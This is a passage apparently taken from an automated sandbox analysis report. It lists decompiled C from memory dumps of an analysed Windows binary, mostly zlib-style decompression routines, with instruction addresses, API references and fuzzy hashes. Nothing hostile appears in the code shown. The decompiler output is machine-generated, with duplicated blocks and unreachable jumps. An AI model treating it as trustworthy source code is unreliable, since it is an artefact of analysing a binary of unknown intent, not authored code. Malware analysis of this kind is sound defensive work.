				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed short _v122;
				signed int _v123;
				char _v124;
				signed int _t211;
				signed int _t212;
				signed int _t213;
				signed int _t214;
				void* _t216;
				signed int _t217;
				signed int _t219;
				intOrPtr _t220;
				signed int _t223;
				signed short _t225;
				signed int _t226;
				signed int _t228;
				signed int _t233;
				signed int _t240;
				signed int _t248;
				signed int _t251;
				void* _t254;
				signed int _t260;
				intOrPtr* _t261;
				signed int _t263;
				signed int _t264;
				signed int _t265;
				short _t270;
				intOrPtr* _t281;
				signed char _t285;
				signed int _t297;
				signed int _t299;
				intOrPtr _t305;
				signed int _t308;
				signed int _t309;
				signed int _t316;
				signed int _t318;
				signed int _t319;
				signed int _t327;
				signed int _t333;
				signed int _t336;
				char _t337;
				intOrPtr* _t340;
				signed int* _t343;
				signed int _t344;
				signed short* _t345;
				signed int _t348;
				intOrPtr* _t349;
				signed short* _t350;
				intOrPtr _t351;
				intOrPtr _t352;
				signed int _t353;
				void* _t354;

				_t354 =  &_v124;
				_t308 = _a12;
				_t352 = _a8;
				_v64 = 0xbadbad;
				_v60 = 0 << 0x10;
				_v56 = 0 << 0x10;
				_v52 = 0 << 0x10;
				_v48 = 0 << 0x10;
				_v44 = 0 << 0x10;
				_v40 = 0 << 0x10;
				_v36 = 0 << 0x10;
				_t211 = 0;
				if(_t308 > 0) {
					do {
						 *((short*)(_t354 + 0x48 + ( *(_t352 + _t211 * 2) & 0x0000ffff) * 2)) =  *((short*)(_t354 + 0x48 + ( *(_t352 + _t211 * 2) & 0x0000ffff) * 2)) + 1;
						_t211 = _t211 + 1;
					} while (_t211 < _t308);
				}
				_t343 = _a20;
				_t212 =  *_t343;
				_v120 = _t212;
				_t263 = 0xf;
				while( *((short*)(_t354 + 0x48 + _t263 * 2)) == 0) {
					_t263 = _t263 - 1;
					if(_t263 >= 1) {
						continue;
					}
					break;
				}
				_v112 = _t263;
				if(_t212 > _t263) {
					_v120 = _t263;
				}
				if(_t263 != 0) {
					_t344 = 1;
					while(1) {
						__eflags =  *((short*)(_t354 + 0x48 + _t344 * 2));
						if( *((short*)(_t354 + 0x48 + _t344 * 2)) != 0) {
							break;
						}
						__eflags =  *((short*)(_t354 + 0x4a + _t344 * 2));
						if( *((short*)(_t354 + 0x4a + _t344 * 2)) != 0) {
							_t344 = _t344 + 1;
						} else {
							__eflags =  *((short*)(_t354 + 0x4c + _t344 * 2));
							if( *((short*)(_t354 + 0x4c + _t344 * 2)) != 0) {
								_t344 = _t344 + 2;
							} else {
								__eflags =  *((short*)(_t354 + 0x4e + _t344 * 2));
								if( *((short*)(_t354 + 0x4e + _t344 * 2)) != 0) {
									_t344 = _t344 + 3;
								} else {
									__eflags =  *((short*)(_t354 + 0x50 + _t344 * 2));
									if( *((short*)(_t354 + 0x50 + _t344 * 2)) != 0) {
										_t344 = _t344 + 4;
										__eflags = _t344;
									} else {
										_t344 = _t344 + 5;
										__eflags = _t344 - 0xf;
										if(_t344 <= 0xf) {
											continue;
										} else {
										}
									}
								}
							}
						}
						break;
					}
					__eflags = _v120 - _t344;
					if(_v120 < _t344) {
						_v120 = _t344;
					}
					_t309 = 1;
					_t213 = 1;
					while(1) {
						_t309 = _t309 + _t309 - ( *(_t354 + 0x48 + _t213 * 2) & 0x0000ffff);
						__eflags = _t309;
						if(_t309 < 0) {
							break;
						}
						_t213 = _t213 + 1;
						__eflags = _t213 - 0xf;
						if(_t213 <= 0xf) {
							continue;
						} else {
							_t333 = _a4;
							__eflags = _t309;
							if(_t309 <= 0) {
								L32:
								_v30 = 0;
								_t216 = 2;
								do {
									_t270 =  *((intOrPtr*)(_t354 + _t216 + 0x6c)) +  *((intOrPtr*)(_t354 + _t216 + 0x4c));
									_t216 = _t216 + 2;
									 *((short*)(_t354 + _t216 + 0x6c)) = _t270;
									__eflags = _t216 - 0x1e;
								} while (_t216 < 0x1e);
								_t264 = _a12;
								_t217 = 0;
								__eflags = _t264;
								if(_t264 > 0) {
									do {
										__eflags =  *(_t352 + _t217 * 2);
										if( *(_t352 + _t217 * 2) != 0) {
											 *(_a24 + ( *(_t354 + 0x6c + ( *(_t352 + _t217 * 2) & 0x0000ffff) * 2) & 0x0000ffff) * 2) = _t217;
											_t327 =  *(_t352 + _t217 * 2) & 0x0000ffff;
											_t75 = _t354 + 0x6c + _t327 * 2;
											 *_t75 =  *(_t354 + 0x6c + _t327 * 2) + 1;
											__eflags =  *_t75;
										}
										_t217 = _t217 + 1;
										__eflags = _t217 - _t264;
									} while (_t217 < _t264);
								}
								_t219 = _t333;
								__eflags = _t219;
								if(_t219 == 0) {
									_t220 = _a24;
									_v88 = _t220;
									_v96 = 0x13;
									goto L43;
								} else {
									__eflags = _t219 == 1;
									if(_t219 == 1) {
										_v88 = 0x41e28e;
										_t220 = 0x41e2ce;
										_v96 = 0x100;
										L43:
										_v92 = _t220;
									} else {
										_v88 = 0x41e510;
										_v92 = 0x41e550;
										_v96 = 0xffffffff;
									}
								}
								_v108 =  *_a16;
								_t223 = 1 << _v120;
								_v84 = 0xffffffff;
								_t353 = 0;
								_t265 = 0;
								_t97 = _t223 - 1; // 0x0
								_v116 = _t344;
								_v80 = 1;
								_v100 = 1;
								_v76 = _t97;
								__eflags = _t333 - 1;
								if(_t333 != 1) {
									L46:
									_v104 = _a24;
									while(1) {
										L47:
										_t345 = _v104;
										_t225 =  *_t345 & 0x0000ffff;
										_v123 = _v116 - _t265;
										__eflags = (_t225 & 0x0000ffff) - _v96;
										if(__eflags >= 0) {
											if(__eflags <= 0) {
												__eflags = 0;
												_v124 = 0x60;
												_v122 = 0;
											} else {
												_t254 = ( *_t345 & 0x0000ffff) + ( *_t345 & 0x0000ffff);
												_v124 =  *((intOrPtr*)(_t254 + _v92));
												_v122 =  *((intOrPtr*)(_t254 + _v88));
											}
										} else {
											_v124 = 0;
											_v122 = _t225;
										}
										_t226 = _v80;
										_v72 = _t226;
										_t336 = (_t353 >> _t265) + _t226;
										__eflags = _t336;
										_t281 = _v108 + _t336 * 4;
										_t337 = _v124;
										do {
											L53:
											_t226 = _t226 - 1;
											_t281 = _t281 - 4;
											 *_t281 = _t337;
											__eflags = _t226;
										} while (_t226 != 0);
										_t316 = _v116;
										_t228 = 1 << _t316 - 1;
										__eflags = _t353 & 0x00000001;
										if((_t353 & 0x00000001) != 0) {
											do {
												_t228 = _t228 >> 1;
												__eflags = _t353 & _t228;
											} while ((_t353 & _t228) != 0);
										}
										__eflags = _t228;
										if(_t228 == 0) {
											_t353 = 0;
											__eflags = 0;
										} else {
											_t132 = _t228 - 1; // 0x0
											_t353 = (_t132 & _t353) + _t228;
										}
										_v104 =  &(_v104[1]);
										 *(_t354 + 0x4c + _t316 * 2) =  *(_t354 + 0x4c + _t316 * 2) + 0xffff;
										__eflags =  *(_t354 + 0x4c + _t316 * 2) & 0x0000ffff;
										if(( *(_t354 + 0x4c + _t316 * 2) & 0x0000ffff) != 0) {
											L62:
											__eflags = _t316 - _v120;
											if(_t316 <= _v120) {
												L47:
												_t345 = _v104;
												_t225 =  *_t345 & 0x0000ffff;
												_v123 = _v116 - _t265;
												__eflags = (_t225 & 0x0000ffff) - _v96;
												if(__eflags >= 0) {
													if(__eflags <= 0) {
														__eflags = 0;
														_v124 = 0x60;
														_v122 = 0;
													} else {
														_t254 = ( *_t345 & 0x0000ffff) + ( *_t345 & 0x0000ffff);
														_v124 =  *((intOrPtr*)(_t254 + _v92));
														_v122 =  *((intOrPtr*)(_t254 + _v88));
													}
												} else {
													_v124 = 0;
													_v122 = _t225;
												}
												_t226 = _v80;
												_v72 = _t226;
												_t336 = (_t353 >> _t265) + _t226;
												__eflags = _t336;
												_t281 = _v108 + _t336 * 4;
												_t337 = _v124;
												goto L53;
											} else {
												L63:
												_t348 = _v76 & _t353;
												_v68 = _t348;
												__eflags = _t348 - _v84;
												if(_t348 == _v84) {
													continue;
												} else {
													L64:
													__eflags = _t265;
													if(_t265 == 0) {
														_t265 = _v120;
													}
													_v108 = _v108 + _v72 * 4;
													_t285 = _v116 - _t265;
													_t318 = _t265 + _t285;
													_t233 = 1 << _t285;
													__eflags = _t318 - _v112;
													if(_t318 < _v112) {
														_t350 = _t354 + 0x4c + _t318 * 2;
														while(1) {
															_t240 = _t233 - ( *_t350 & 0x0000ffff);
															__eflags = _t240;
															if(_t240 <= 0) {
																break;
															}
															_t318 = _t318 + 1;
															_t285 = _t285 + 1;
															_t350 =  &(_t350[1]);
															_t233 = _t240 + _t240;
															__eflags = _t318 - _v112;
															if(_t318 < _v112) {
																continue;
															}
															break;
														}
														_t348 = _v68;
													}
													_v100 = _v100 + 1;
													__eflags = _a4 - 1;
													_v80 = 1 << _t285;
													if(_a4 != 1) {
														L73:
														_t319 = _t348;
														_t349 = _a16;
														 *( *_t349 + _t319 * 4) = _t285;
														 *((char*)( *_t349 + 1 + _t319 * 4)) = _v120;
														_v84 = _t319;
														 *((short*)( *_t349 + 2 + _t319 * 4)) = _v108 -  *_t349 >> 2;
														continue;
														do {
															do {
																goto L47;
															} while (_t316 <= _v120);
															goto L63;
														} while (_t348 == _v84);
														goto L64;
													} else {
														__eflags = _v100 - 0x5b0;
														if(_v100 >= 0x5b0) {
															goto L84;
														} else {
															goto L73;
														}
													}
												}
											}
										} else {
											__eflags = _t316 - _v112;
											if(_t316 == _v112) {
												_t340 = _a16;
												_v124 = 0x40;
												_v123 = _t316 - _t265;
												_v122 = 0;
												__eflags = _t353;
												if(_t353 != 0) {
													_t351 = _v108;
													do {
														__eflags = _t265;
														if(_t265 != 0) {
															__eflags = (_v76 & _t353) - _v84;
															if((_v76 & _t353) != _v84) {
																_t251 = _v120;
																_t351 =  *_t340;
																_t265 = 0;
																__eflags = 0;
																_v116 = _t251;
																_v123 = _t251;
																_t316 = _t251;
															}
														}
														 *((intOrPtr*)(_t351 + (_t353 >> _t265) * 4)) = _v124;
														_t248 = 1 << _t316 - 1;
														__eflags = _t353 & 0x00000001;
														if((_t353 & 0x00000001) != 0) {
															do {
																_t248 = _t248 >> 1;
																__eflags = _t353 & _t248;
															} while ((_t353 & _t248) != 0);
														}
														__eflags = _t248;
														if(_t248 != 0) {
															goto L82;
														}
														goto L83;
														L82:
														_t203 = _t248 - 1; // 0x0
														_t297 = (_t203 & _t353) + _t248;
														__eflags = _t297;
														_t353 = _t297;
													} while (_t297 != 0);
												}
												L83:
												 *_t340 =  *_t340 + _v100 * 4;
												 *_a20 = _v120;
												__eflags = 0;
												return 0;
											} else {
												_t299 =  *(_a8 + ( *_v104 & 0x0000ffff) * 2) & 0x0000ffff;
												_v116 = _t299;
												_t316 = _t299;
												goto L62;
											}
										}
										goto L85;
									}
								} else {
									__eflags = _t223 - 0x5b0;
									if(_t223 >= 0x5b0) {
										L84:
										return 1;
									} else {
										goto L46;
									}
								}
							} else {
								__eflags = _t333;
								if(_t333 == 0) {
									L30:
									_t260 = _t213 | 0xffffffff;
									__eflags = _t260;
									return _t260;
								} else {
									__eflags = _t263 - 1;
									if(_t263 == 1) {
										goto L32;
									} else {
										goto L30;
									}
								}
							}
						}
						goto L85;
					}
					_t214 = _t213 | 0xffffffff;
					__eflags = _t214;
					return _t214;
				} else {
					_t261 = _a16;
					_v122 = 0;
					_v124 = 0x40;
					_v123 = 1;
					_t305 = _v124;
					 *((intOrPtr*)( *_t261)) = _t305;
					 *_t261 =  *_t261 + 4;
					 *((intOrPtr*)( *_t261)) = _t305;
					 *_t261 =  *_t261 + 4;
					 *_t343 = 1;
					return 0;
				}
				L85:
			}













































































                                        0x00408c60
                                        0x00408c63
                                        0x00408c78
                                        0x00408c7f
                                        0x00408c83
                                        0x00408c87
                                        0x00408c8b
                                        0x00408c8f
                                        0x00408c93
                                        0x00408c97
                                        0x00408c9b
                                        0x00408c9f
                                        0x00408ca4
                                        0x00408cb0
                                        0x00408cb5
                                        0x00408cbe
                                        0x00408cbf
                                        0x00408cb0
                                        0x00408cc3
                                        0x00408cca
                                        0x00408ccc
                                        0x00408cd0
                                        0x00408cd5
                                        0x00408cdd
                                        0x00408ce1
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00408ce1
                                        0x00408ce3
                                        0x00408ce9
                                        0x00408ceb
                                        0x00408ceb
                                        0x00408cf1
                                        0x00408d2c
                                        0x00408d31
                                        0x00408d31
                                        0x00408d37
                                        0x00000000
                                        0x00000000
                                        0x00408d39
                                        0x00408d3f
                                        0x00408d63
                                        0x00408d41
                                        0x00408d41
                                        0x00408d47
                                        0x00408d66
                                        0x00408d49
                                        0x00408d49
                                        0x00408d4f
                                        0x00408d6b
                                        0x00408d51
                                        0x00408d51
                                        0x00408d57
                                        0x00408d70
                                        0x00408d70
                                        0x00408d59
                                        0x00408d59
                                        0x00408d5c
                                        0x00408d5f
                                        0x00000000
                                        0x00000000
                                        0x00408d61
                                        0x00408d5f
                                        0x00408d57
                                        0x00408d4f
                                        0x00408d47
                                        0x00000000
                                        0x00408d3f
                                        0x00408d73
                                        0x00408d77
                                        0x00408d79
                                        0x00408d79
                                        0x00408d7d
                                        0x00408d82
                                        0x00408d84
                                        0x00408d8b
                                        0x00408d8b
                                        0x00408d8d
                                        0x00000000
                                        0x00000000
                                        0x00408d8f
                                        0x00408d90
                                        0x00408d93
                                        0x00000000
                                        0x00408d95
                                        0x00408d96
                                        0x00408d9d
                                        0x00408d9f
                                        0x00408dbf
                                        0x00408dc1
                                        0x00408dc6
                                        0x00408dd0
                                        0x00408dd5
                                        0x00408dda
                                        0x00408ddd
                                        0x00408de2
                                        0x00408de2
                                        0x00408de7
                                        0x00408dee
                                        0x00408df0
                                        0x00408df2
                                        0x00408df4
                                        0x00408df4
                                        0x00408dfa
                                        0x00408e0d
                                        0x00408e11
                                        0x00408e16
                                        0x00408e16
                                        0x00408e16
                                        0x00408e1b
                                        0x00408e1f
                                        0x00408e20
                                        0x00408e20
                                        0x00408df4
                                        0x00408e26
                                        0x00408e26
                                        0x00408e2e
                                        0x00408e6d
                                        0x00408e74
                                        0x00408e78
                                        0x00000000
                                        0x00408e30
                                        0x00408e30
                                        0x00408e33
                                        0x00408e55
                                        0x00408e5e
                                        0x00408e63
                                        0x00408e80
                                        0x00408e80
                                        0x00408e35
                                        0x00408e35
                                        0x00408e3d
                                        0x00408e45
                                        0x00408e45
                                        0x00408e33
                                        0x00408e8d
                                        0x00408e9a
                                        0x00408e9c
                                        0x00408ea0
                                        0x00408ea2
                                        0x00408ea4
                                        0x00408ea7
                                        0x00408eab
                                        0x00408eaf
                                        0x00408eb3
                                        0x00408eb7
                                        0x00408eba
                                        0x00408ec7
                                        0x00408ece
                                        0x00408ed2
                                        0x00408ed2
                                        0x00408ed6
                                        0x00408eda
                                        0x00408ee3
                                        0x00408eea
                                        0x00408eec
                                        0x00408efa
                                        0x00408f1b
                                        0x00408f1d
                                        0x00408f22
                                        0x00408efc
                                        0x00408f03
                                        0x00408f10
                                        0x00408f14
                                        0x00408f14
                                        0x00408eee
                                        0x00408eee
                                        0x00408ef3
                                        0x00408ef3
                                        0x00408f2b
                                        0x00408f42
                                        0x00408f4d
                                        0x00408f4d
                                        0x00408f4f
                                        0x00408f52
                                        0x00408f56
                                        0x00408f56
                                        0x00408f56
                                        0x00408f58
                                        0x00408f5a
                                        0x00408f5c
                                        0x00408f5c
                                        0x00408f60
                                        0x00408f6c
                                        0x00408f6e
                                        0x00408f70
                                        0x00408f72
                                        0x00408f72
                                        0x00408f74
                                        0x00408f74
                                        0x00408f72
                                        0x00408f78
                                        0x00408f7a
                                        0x00408f87
                                        0x00408f87
                                        0x00408f7c
                                        0x00408f7c
                                        0x00408f83
                                        0x00408f83
                                        0x00408f89
                                        0x00408f93
                                        0x00408f9d
                                        0x00408fa0
                                        0x00408fc4
                                        0x00408fc4
                                        0x00408fc8
                                        0x00408ed2
                                        0x00408ed6
                                        0x00408eda
                                        0x00408ee3
                                        0x00408eea
                                        0x00408eec
                                        0x00408efa
                                        0x00408f1b
                                        0x00408f1d
                                        0x00408f22
                                        0x00408efc
                                        0x00408f03
                                        0x00408f10
                                        0x00408f14
                                        0x00408f14
                                        0x00408eee
                                        0x00408eee
                                        0x00408ef3
                                        0x00408ef3
                                        0x00408f2b
                                        0x00408f42
                                        0x00408f4d
                                        0x00408f4d
                                        0x00408f4f
                                        0x00408f52
                                        0x00000000
                                        0x00408fce
                                        0x00408fce
                                        0x00408fd2
                                        0x00408fd4
                                        0x00408fd8
                                        0x00408fdc
                                        0x00000000
                                        0x00408fe2
                                        0x00408fe2
                                        0x00408fe2
                                        0x00408fe4
                                        0x00408fe6
                                        0x00408fe6
                                        0x00408ff5
                                        0x00408ffd
                                        0x00409004
                                        0x00409007
                                        0x00409009
                                        0x0040900d
                                        0x0040900f
                                        0x00409013
                                        0x00409016
                                        0x00409018
                                        0x0040901a
                                        0x00000000
                                        0x00000000
                                        0x0040901c
                                        0x0040901d
                                        0x0040901e
                                        0x00409021
                                        0x00409023
                                        0x00409027
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00409027
                                        0x00409029
                                        0x00409029
                                        0x00409034
                                        0x00409038
                                        0x00409040
                                        0x00409044
                                        0x00409054
                                        0x00409054
                                        0x00409056
                                        0x0040905f
                                        0x00409068
                                        0x00409077
                                        0x0040907b
                                        0x00409080
                                        0x00408ed2
                                        0x00408ed2
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00408ed2
                                        0x00000000
                                        0x00409046
                                        0x00409046
                                        0x0040904e
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x0040904e
                                        0x00409044
                                        0x00408fdc
                                        0x00408fa2
                                        0x00408fa2
                                        0x00408fa6
                                        0x00409085
                                        0x00409092
                                        0x00409097
                                        0x0040909b
                                        0x004090a0
                                        0x004090a2
                                        0x004090a4
                                        0x004090a8
                                        0x004090a8
                                        0x004090aa
                                        0x004090b2
                                        0x004090b6
                                        0x004090b8
                                        0x004090bc
                                        0x004090be
                                        0x004090be
                                        0x004090c0
                                        0x004090c4
                                        0x004090c8
                                        0x004090c8
                                        0x004090b6
                                        0x004090d4
                                        0x004090df
                                        0x004090e1
                                        0x004090e3
                                        0x004090e5
                                        0x004090e5
                                        0x004090e7
                                        0x004090e7
                                        0x004090e5
                                        0x004090eb
                                        0x004090ed
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x004090ef
                                        0x004090ef
                                        0x004090f4
                                        0x004090f4
                                        0x004090f6
                                        0x004090f6
                                        0x004090a8
                                        0x004090fa
                                        0x0040910c
                                        0x00409115
                                        0x00409117
                                        0x0040911d
                                        0x00408fac
                                        0x00408fba
                                        0x00408fbe
                                        0x00408fc2
                                        0x00000000
                                        0x00408fc2
                                        0x00408fa6
                                        0x00000000
                                        0x00408fa0
                                        0x00408ebc
                                        0x00408ebc
                                        0x00408ec1
                                        0x0040911e
                                        0x0040912a
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00408ec1
                                        0x00408da1
                                        0x00408da1
                                        0x00408da3
                                        0x00408daa
                                        0x00408dad
                                        0x00408dad
                                        0x00408db4
                                        0x00408da5
                                        0x00408da5
                                        0x00408da8
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00408da8
                                        0x00408da3
                                        0x00408d9f
                                        0x00000000
                                        0x00408d93
                                        0x00408db7
                                        0x00408db7
                                        0x00408dbe
                                        0x00408cf3
                                        0x00408cf3
                                        0x00408cfc
                                        0x00408d03
                                        0x00408d08
                                        0x00408d0d
                                        0x00408d11
                                        0x00408d13
                                        0x00408d18
                                        0x00408d1a
                                        0x00408d1d
                                        0x00408d2b
                                        0x00408d2b
                                        0x00000000

                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID:
                                        • String ID: @$@
                                        • API String ID: 0-149943524
                                        • Opcode ID: 524773d1bc2011db47f0014430bcd25baf081f96639b8f8b2c6f9a821cea509b
                                        • Instruction ID: 284407f43597d2b1529aa5dbb826e4f49811f0ea4eaa41d9cabafce47d44ff82
                                        • Opcode Fuzzy Hash: 524773d1bc2011db47f0014430bcd25baf081f96639b8f8b2c6f9a821cea509b
                                        • Instruction Fuzzy Hash: 64E159316083418FC724DF28C58066BB7E1AFD9314F14493EE8C5A7391EB79D949CB8A
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0040ADB0, Relevance: 2.5, APIs: 2, Instructions: 23memoryCOMMON
                                        Download Yara Rule
                                        C-Code - Quality: 100%
                                        			E0040ADB0(intOrPtr* __ecx) {
				void* _t5;
				intOrPtr* _t11;

				_t11 = __ecx;
				_t5 =  *(__ecx + 8);
				 *__ecx = 0x41eff0;
				if(_t5 != 0) {
					_t5 =  *((intOrPtr*)( *((intOrPtr*)( *_t5 + 8))))(_t5);
				}
				if( *(_t11 + 0xc) != 0) {
					_t5 = GetProcessHeap();
					if(_t5 != 0) {
						return HeapFree(_t5, 0,  *(_t11 + 0xc));
					}
				}
				return _t5;
			}





                                        0x0040adb3
                                        0x0040adb5
                                        0x0040adb8
                                        0x0040adc0
                                        0x0040adc8
                                        0x0040adc8
                                        0x0040adce
                                        0x0040add0
                                        0x0040add8
                                        0x00000000
                                        0x0040ade1
                                        0x0040add8
                                        0x0040ade8

                                        APIs
                                        • GetProcessHeap.KERNEL32 ref: 0040ADD0
                                        • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: Heap$FreeProcess
                                        • String ID:
                                        • API String ID: 3859560861-0
                                        • Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
                                        • Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
                                        • Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
                                        • Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022AF4D0, Relevance: 1.6, Strings: 1, Instructions: 376COMMON
                                        Download Yara Rule
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID: Zl
                                        • API String ID: 0-390258491
                                        • Opcode ID: c2dbc85a0daa51dfaa7e013ab4e1cc221f4d75673792157aad0c19f13ae15230
                                        • Instruction ID: 2426368e7727f7e2481b8d17ef315aa897ce87e426548a493c323387e03d5222
                                        • Opcode Fuzzy Hash: c2dbc85a0daa51dfaa7e013ab4e1cc221f4d75673792157aad0c19f13ae15230
                                        • Instruction Fuzzy Hash: 90C1D2347042414FDB149B78C560B6E77E3EF88704F1684A9DA06CBBA9DF39DC429B91
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022ACDF0, Relevance: 1.6, Strings: 1, Instructions: 375COMMON
                                        Download Yara Rule
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID: Zl
                                        • API String ID: 0-390258491
                                        • Opcode ID: 6dc698d3fb85a2a9c8243acec0b15c8e2fb2a35f40e8a1a57351f7f24d91e72c
                                        • Instruction ID: 2fad468b6bd0dd7e91ba9e8d037d1850223fa1b052509e73b3b317a9de9812f4
                                        • Opcode Fuzzy Hash: 6dc698d3fb85a2a9c8243acec0b15c8e2fb2a35f40e8a1a57351f7f24d91e72c
                                        • Instruction Fuzzy Hash: B1D19B35B042558FCB14DBB8C864A6EB7E7EF88304B1584AAD606DB7A5DF34DC02CB91
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 004123F1, Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                        Download Yara Rule
                                        C-Code - Quality: 100%
                                        			E004123F1() {

				SetUnhandledExceptionFilter(E004123AF);
				return 0;
			}



                                        0x004123f6
                                        0x004123fe

                                        APIs
                                        • SetUnhandledExceptionFilter.KERNEL32(Function_000123AF), ref: 004123F6
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: ExceptionFilterUnhandled
                                        • String ID:
                                        • API String ID: 3192549508-0
                                        • Opcode ID: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
                                        • Instruction ID: 17be93bd3878235df00445469c4c747c8dbd7a907b9f456768254b9c32cbcc1b
                                        • Opcode Fuzzy Hash: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
                                        • Instruction Fuzzy Hash: CA900270661144D7865017705D0968669949B4C6427618471653DD4098DBAA40505569
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02092641, Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                        Download Yara Rule
                                        APIs
                                        • SetUnhandledExceptionFilter.KERNEL32(004123AF), ref: 02092646
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: ExceptionFilterUnhandled
                                        • String ID:
                                        • API String ID: 3192549508-0
                                        • Opcode ID: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
                                        • Instruction ID: 17be93bd3878235df00445469c4c747c8dbd7a907b9f456768254b9c32cbcc1b
                                        • Opcode Fuzzy Hash: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
                                        • Instruction Fuzzy Hash: CA900270661144D7865017705D0968669949B4C6427618471653DD4098DBAA40505569
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 00407C3F, Relevance: .8, Instructions: 783COMMONCrypto
                                        Download Yara Rule
                                        C-Code - Quality: 87%
                                        			E00407C3F(unsigned int __ebx, signed char* __edx, signed int* __edi, signed int __esi) {
				signed int _t623;
				signed int _t626;
				signed char** _t637;
				signed int _t645;
				signed int _t649;
				signed int _t654;
				signed int _t657;
				signed int _t660;
				signed int _t662;
				signed int _t665;
				signed char _t771;
				signed char _t776;
				signed char _t778;
				signed int _t783;
				signed int _t785;
				signed int _t792;
				signed int _t795;
				signed int _t799;
				signed int _t803;
				signed int _t805;
				signed int _t813;
				unsigned int _t814;
				signed int _t815;
				signed int _t816;
				void* _t824;
				unsigned int _t828;
				unsigned int _t829;
				intOrPtr _t961;
				signed char _t962;
				signed char _t968;
				signed char _t974;
				signed char* _t989;
				signed char* _t998;
				signed int* _t1018;
				signed int _t1023;
				signed char** _t1025;
				signed char* _t1029;
				void* _t1032;
				void* _t1036;

				L0:
				while(1) {
					L0:
					_t1023 = __esi;
					_t1018 = __edi;
					_t989 = __edx;
					_t814 = __ebx;
					if(__esi >= 0xe) {
						goto L154;
					}
					L152:
					while(__edx != 0) {
						__eax =  *__ebp & 0x000000ff;
						__eax = ( *__ebp & 0x000000ff) << __cl;
						__edx = __edx - 1;
						__esi = __esi + 8;
						__ebp =  &(__ebp[1]);
						__ebx = __ebx + __eax;
						 *(__esp + 0x10) = __edx;
						if(__esi < 0xe) {
							continue;
						} else {
							goto L154;
						}
						L321:
					}
					L303:
					_t637 =  *(_t1036 + 0x40);
					_t637[3] =  *(_t1036 + 0x24);
					_t637[4] =  *(_t1036 + 0x18);
					 *_t637 = _t1029;
					_t637[1] = _t998;
					_t1018[0xe] = _t814;
					_t1018[0xf] = _t1023;
					if(_t1018[0xa] != 0 ||  *_t1018 < 0x18 &&  *(_t1036 + 0x28) != _t637[4]) {
						L306:
						if(E004072B0( *(_t1036 + 0x28),  *(_t1036 + 0x40)) == 0) {
							goto L309;
						} else {
							L307:
							 *_t1018 = 0x1c;
							L308:
							return 0xfffffffc;
						}
					} else {
						L309:
						_t1025 =  *(_t1036 + 0x40);
						_t1032 =  *((intOrPtr*)(_t1036 + 0x38)) - _t1025[1];
						_t824 =  *(_t1036 + 0x28) - _t1025[4];
						_t1025[2] =  &(_t1025[2][_t1032]);
						_t1025[5] =  &(_t1025[5][_t824]);
						_t1018[7] = _t1018[7] + _t824;
						if(_t1018[2] != 0 && _t824 != 0) {
							_push(_t824);
							if(_t1018[4] == 0) {
								_push(_t1025[3] - _t824);
								_push(_t1018[6]);
								_t649 = E004024A0();
							} else {
								_push(_t1025[3] - _t824);
								_push(_t1018[6]);
								_t649 = E00403080();
							}
							_t1018[6] = _t649;
							_t1036 = _t1036 + 0xc;
							_t1025[0xc] = _t649;
						}
						asm("sbb edx, edx");
						_t1025[0xb] = ( ~(_t1018[1]) & 0x00000040) + ((0 |  *_t1018 != 0x0000000b) - 0x00000001 & 0x00000080) + _t1018[0xf];
						if(_t1032 != 0 || _t824 != 0) {
							L317:
							if( *((intOrPtr*)(_t1036 + 0x44)) != 4) {
